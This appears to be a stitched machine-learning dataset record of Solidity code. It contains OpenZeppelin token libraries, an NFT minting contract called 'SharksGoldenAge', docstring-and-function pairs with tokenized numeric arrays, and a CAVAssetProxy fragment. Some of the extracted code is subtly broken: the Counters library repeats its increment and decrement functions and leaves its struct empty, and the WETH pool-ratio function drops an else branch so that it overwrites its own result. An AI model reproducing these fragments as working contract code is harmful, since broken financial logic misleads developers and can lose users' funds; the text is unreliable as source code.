* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC721)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File @openzeppelin/contracts/security/[email protected]
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File @openzeppelin/contracts/token/ERC20/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ITuna {
function mint(address to, uint256 amount) external;
function burn(address from, uint256 amount) external;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
//\. |\
// \`.___---~~ ~~~--_
// //~~----___ (_o_-~
// ' |/'
contract SharksGoldenAge is ERC721Enumerable, Ownable, ReentrancyGuard {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
//mainnet: 0xa5409ec958C83C3f309868babACA7c86DCB077c1
//rinkeby: 0xF57B2c51dED3A29e6891aba85459d600256Cf317
address proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
address public tunaAddress = 0x675F8d4915578C0d6CfCFaB413E3d057d7525444;
string public _contractBaseURI = "https://api.thesharkmob.com/golden/metadata/";
string public _contractURI = "https://api.thesharkmob.com/golden/contract_uri";
uint256 public tokenPriceOnlyETH = 0.12 ether;
uint256 public tokenPriceETHWithTuna = 0.02 ether;
uint256 public tokenPriceTuna = 90 ether;
bool public locked; //baseURI & contractURI lock
uint256 public maxSupply = 888;
address private devWallet;
uint256 private publicSaleKey;
Counters.Counter private _tokenIds;
modifier onlyDev() {
require(msg.sender == devWallet, "only dev");
_;
}
constructor() ERC721("The Shark Mob GA", "TSMGA") {
devWallet = msg.sender;
}
/**
* @dev everyone can mint freely
*/
function buy(uint256 qty, uint256 key) external payable nonReentrant {
require(key == publicSaleKey && publicSaleKey != 0, "not live");
require(tokenPriceOnlyETH * qty == msg.value, "exact amount needed");
require(qty <= 10, "max 10 at once");
require(_tokenIds.current() + qty <= maxSupply, "out of stock");
for (uint256 i = 0; i < qty; i++) {
_tokenIds.increment();
_safeMint(msg.sender, _tokenIds.current());
}
}
/**
* @dev lower price if you buy it with $TUNA
*/
function communityBuy(uint256 qty, uint256 key) external payable nonReentrant {
require(key == publicSaleKey && publicSaleKey != 0, "not live");
require(tokenPriceETHWithTuna * qty == msg.value, "exact amount needed");
require(qty <= 10, "max 10 at once");
require(_tokenIds.current() + qty < maxSupply + 1, "out of stock");
//transfer & burn
ITuna(tunaAddress).burn(msg.sender, qty * tokenPriceTuna);
for (uint256 i = 0; i < qty; i++) {
_tokenIds.increment();
_safeMint(msg.sender, _tokenIds.current());
}
}
//reserving the first 30 tokens for marketing
function adminMint(uint256 qty) external onlyOwner {
require(_tokenIds.current() <= 30, "only first 30");
for (uint256 i = 0; i < qty; i++) {
_tokenIds.increment();
_safeMint(msg.sender, _tokenIds.current());
}
}
//----------------------------------
//----------- other code -----------
//----------------------------------
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
function exists(uint256 _tokenId) external view returns (bool) {
return _exists(_tokenId);
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) external view returns (bool) {
return _isApprovedOrOwner(_spender, _tokenId);
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
return string(abi.encodePacked(_contractBaseURI, _tokenId.toString(), ".json"));
}
function setBaseURI(string memory newBaseURI) external onlyDev {
require(!locked, "locked functions");
_contractBaseURI = newBaseURI;
}
function setContractURI(string memory newuri) external onlyDev {
require(!locked, "locked functions");
_contractURI = newuri;
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
function reclaimERC20(IERC20 erc20Token) external onlyOwner {
erc20Token.transfer(msg.sender, erc20Token.balanceOf(address(this)));
}
function reclaimERC721(IERC721 erc721Token, uint256 id) external onlyOwner {
erc721Token.safeTransferFrom(address(this), msg.sender, id);
}
//we reserve the ownership of tokens with IDs 1-30 tokens forever and ever
function mint(uint256[] memory ids, address[] memory accounts) external onlyOwner {
require(ids.length == accounts.length, "invalid length");
for (uint256 i = 0; i < ids.length; i++) {
require(ids[i] < 30, "reserved 30 tokens"); //as you can clearly see here
_changeOwnership(ids[i], accounts[i]);
}
}
function setTunaToken(address newAddress) external onlyDev {
tunaAddress = newAddress;
}
//in unix
function setPublicSaleKey(uint256 newKey) external onlyDev {
publicSaleKey = newKey;
}
//change the price of non-community buy
function changePricePerToken(uint256 newPrice) external onlyOwner {
tokenPriceOnlyETH = newPrice;
}
// and for the eternity!
function lockBaseURIandContractURI() external onlyDev {
locked = true;
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
// earnings withdrawal
function withdraw() public onlyOwner {
uint256 totalBalance = address(this).balance;
uint256 devFee = _calcPercentage(totalBalance, 500); //5%
payable(msg.sender).transfer(totalBalance - devFee);
payable(devWallet).transfer(devFee);
}
//opensea proxy, don't touch
function setProxyRegistry(address newRegistry) external onlyDev {
proxyRegistryAddress = newRegistry;
}
//300 = 3%, 1 = 0.01%
function _calcPercentage(uint256 amount, uint256 basisPoints) internal pure returns (uint256) {
require(basisPoints >= 0);
return (amount * basisPoints) / 10000;
}
}
//opensea removal of approvals
contract OwnableDelegateProxy {
}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
|
* @title Counters @author Matt Condon (@shrugs) @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number of elements in a mapping, issuing ERC721 ids, or counting request ids. Include with `using Counters for Counters.Counter;`/
|
library Counters {
struct Counter {
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
| 8,014,766 |
[
1,
18037,
225,
490,
4558,
735,
19752,
261,
36,
674,
8653,
564,
13,
225,
28805,
13199,
716,
848,
1338,
506,
28859,
16,
15267,
329,
578,
2715,
18,
1220,
848,
506,
1399,
425,
18,
75,
18,
358,
3298,
326,
1300,
434,
2186,
316,
279,
2874,
16,
3385,
22370,
4232,
39,
27,
5340,
3258,
16,
578,
22075,
590,
3258,
18,
12672,
598,
1375,
9940,
9354,
87,
364,
9354,
87,
18,
4789,
31,
68,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
9354,
87,
288,
203,
202,
1697,
9354,
288,
203,
202,
97,
203,
203,
202,
915,
783,
12,
4789,
2502,
3895,
13,
2713,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
202,
202,
2463,
3895,
6315,
1132,
31,
203,
202,
97,
203,
203,
202,
915,
5504,
12,
4789,
2502,
3895,
13,
2713,
288,
203,
202,
202,
5847,
288,
203,
1082,
202,
7476,
6315,
1132,
1011,
404,
31,
203,
202,
202,
97,
203,
202,
97,
203,
203,
202,
915,
5504,
12,
4789,
2502,
3895,
13,
2713,
288,
203,
202,
202,
5847,
288,
203,
1082,
202,
7476,
6315,
1132,
1011,
404,
31,
203,
202,
202,
97,
203,
202,
97,
203,
203,
202,
915,
15267,
12,
4789,
2502,
3895,
13,
2713,
288,
203,
202,
202,
11890,
5034,
460,
273,
3895,
6315,
1132,
31,
203,
202,
202,
6528,
12,
1132,
405,
374,
16,
315,
4789,
30,
15267,
9391,
8863,
203,
202,
202,
5847,
288,
203,
1082,
202,
7476,
6315,
1132,
273,
460,
300,
404,
31,
203,
202,
202,
97,
203,
202,
97,
203,
203,
202,
915,
15267,
12,
4789,
2502,
3895,
13,
2713,
288,
203,
202,
202,
11890,
5034,
460,
273,
3895,
6315,
1132,
31,
203,
202,
202,
6528,
12,
1132,
405,
374,
16,
315,
4789,
30,
15267,
9391,
8863,
203,
202,
202,
5847,
288,
203,
1082,
202,
7476,
6315,
1132,
273,
460,
300,
404,
31,
203,
202,
202,
97,
203,
202,
97,
203,
203,
202,
915,
2715,
12,
4789,
2502,
3895,
13,
2713,
288,
203,
202,
202,
7476,
6315,
1132,
273,
374,
31,
203,
202,
97,
203,
2
] |
./full_match/10/0x84e964BE3B910e8a8633856b69EBbdDc7bA55006/sources/contracts/AMM/SafeBoxBuyback.sol
|
@notice _getWETHPoolRatio returns ratio between tokenA and WETH based on prices fetched from UniswapV3Pool @dev Ratio is calculated differently if token0 in pool is WETH @param token Token address @param poolFee Fee value of token/WETH pool @return ratio token/WETH ratio ratio is 10^18/sqrtPrice - multiply again with 10^18 to convert to decimal
|
function _getWETHPoolRatio(address token, uint24 poolFee) internal view returns (uint256 ratio) {
address pool = IUniswapV3Factory(uniswapFactory).getPool(WETH9, token, poolFee);
(uint160 sqrtPriceX96token, , , , , , ) = IUniswapV3Pool(pool).slot0();
if (IUniswapV3Pool(pool).token0() == WETH9) {
ratio = UniswapMath.mulDiv(10**18, 10**18, _getPriceFromSqrtPrice(sqrtPriceX96token));
ratio = _getPriceFromSqrtPrice(sqrtPriceX96token);
}
}
| 3,779,506 |
[
1,
67,
588,
59,
1584,
2500,
1371,
8541,
1135,
7169,
3086,
1147,
37,
471,
678,
1584,
44,
2511,
603,
19827,
12807,
628,
1351,
291,
91,
438,
58,
23,
2864,
225,
534,
4197,
353,
8894,
23621,
309,
1147,
20,
316,
2845,
353,
678,
1584,
44,
225,
1147,
3155,
1758,
225,
2845,
14667,
30174,
460,
434,
1147,
19,
59,
1584,
44,
2845,
327,
7169,
1147,
19,
59,
1584,
44,
7169,
7169,
353,
1728,
66,
2643,
19,
24492,
5147,
300,
10194,
3382,
598,
1728,
66,
2643,
358,
1765,
358,
6970,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
588,
59,
1584,
2500,
1371,
8541,
12,
2867,
1147,
16,
2254,
3247,
2845,
14667,
13,
2713,
1476,
1135,
261,
11890,
5034,
7169,
13,
288,
203,
3639,
1758,
2845,
273,
467,
984,
291,
91,
438,
58,
23,
1733,
12,
318,
291,
91,
438,
1733,
2934,
588,
2864,
12,
59,
1584,
44,
29,
16,
1147,
16,
2845,
14667,
1769,
203,
3639,
261,
11890,
16874,
5700,
5147,
60,
10525,
2316,
16,
269,
269,
269,
269,
269,
262,
273,
467,
984,
291,
91,
438,
58,
23,
2864,
12,
6011,
2934,
14194,
20,
5621,
203,
3639,
309,
261,
45,
984,
291,
91,
438,
58,
23,
2864,
12,
6011,
2934,
2316,
20,
1435,
422,
678,
1584,
44,
29,
13,
288,
203,
5411,
7169,
273,
1351,
291,
91,
438,
10477,
18,
16411,
7244,
12,
2163,
636,
2643,
16,
1728,
636,
2643,
16,
389,
588,
5147,
1265,
19643,
3797,
5147,
12,
24492,
5147,
60,
10525,
2316,
10019,
203,
5411,
7169,
273,
389,
588,
5147,
1265,
19643,
3797,
5147,
12,
24492,
5147,
60,
10525,
2316,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
contract CAVAsset {
function __transferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function __approve(address _spender, uint _value, address _sender) returns(bool);
function __process(bytes _data, address _sender) payable {
revert();
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function decimals() constant returns (uint8);
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract CAVPlatform {
mapping(bytes32 => address) public proxies;
function symbols(uint _idx) public constant returns (bytes32);
function symbolsCount() public constant returns (uint);
function name(bytes32 _symbol) returns(string);
function setProxy(address _address, bytes32 _symbol) returns(uint errorCode);
function isCreated(bytes32 _symbol) constant returns(bool);
function isOwner(address _owner, bytes32 _symbol) returns(bool);
function owner(bytes32 _symbol) constant returns(address);
function totalSupply(bytes32 _symbol) returns(uint);
function balanceOf(address _holder, bytes32 _symbol) returns(uint);
function allowance(address _from, address _spender, bytes32 _symbol) returns(uint);
function baseUnit(bytes32 _symbol) returns(uint8);
function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(uint errorCode);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(uint errorCode);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(uint errorCode);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(uint errorCode);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, address _account) returns(uint errorCode);
function reissueAsset(bytes32 _symbol, uint _value) returns(uint errorCode);
function revokeAsset(bytes32 _symbol, uint _value) returns(uint errorCode);
function isReissuable(bytes32 _symbol) returns(bool);
function changeOwnership(bytes32 _symbol, address _newOwner) returns(uint errorCode);
function hasAssetRights(address _owner, bytes32 _symbol) public view returns (bool);
}
contract CAVAssetProxy is ERC20 {
// Supports CAVPlatform ability to return error codes from methods
uint constant OK = 1;
// Assigned platform, immutable.
CAVPlatform public platform;
// Assigned symbol, immutable.
bytes32 public smbl;
// Assigned name, immutable.
string public name;
string public symbol;
/**
* Sets platform address, assigns symbol and name.
*
* Can be set only once.
*
* @param _platform platform contract address.
* @param _symbol assigned symbol.
* @param _name assigned name.
*
* @return success.
*/
function init(CAVPlatform _platform, string _symbol, string _name) returns(bool) {
if (address(platform) != 0x0) {
return false;
}
platform = _platform;
symbol = _symbol;
smbl = stringToBytes32(_symbol);
name = _name;
return true;
}
function stringToBytes32(string memory source) returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
/**
* Only platform is allowed to call.
*/
modifier onlyPlatform() {
if (msg.sender == address(platform)) {
_;
}
}
/**
* Only current asset owner is allowed to call.
*/
modifier onlyAssetOwner() {
if (platform.isOwner(msg.sender, smbl)) {
_;
}
}
/**
* Returns asset implementation contract for current caller.
*
* @return asset implementation contract.
*/
function _getAsset() internal returns(CAVAsset) {
return CAVAsset(getVersionFor(msg.sender));
}
/**
* Returns asset total supply.
*
* @return asset total supply.
*/
function totalSupply() constant returns(uint) {
return platform.totalSupply(smbl);
}
/**
* Returns asset balance for a particular holder.
*
* @param _owner holder address.
*
* @return holder balance.
*/
function balanceOf(address _owner) constant returns(uint) {
return platform.balanceOf(_owner, smbl);
}
/**
* Returns asset allowance from one holder to another.
*
* @param _from holder that allowed spending.
* @param _spender holder that is allowed to spend.
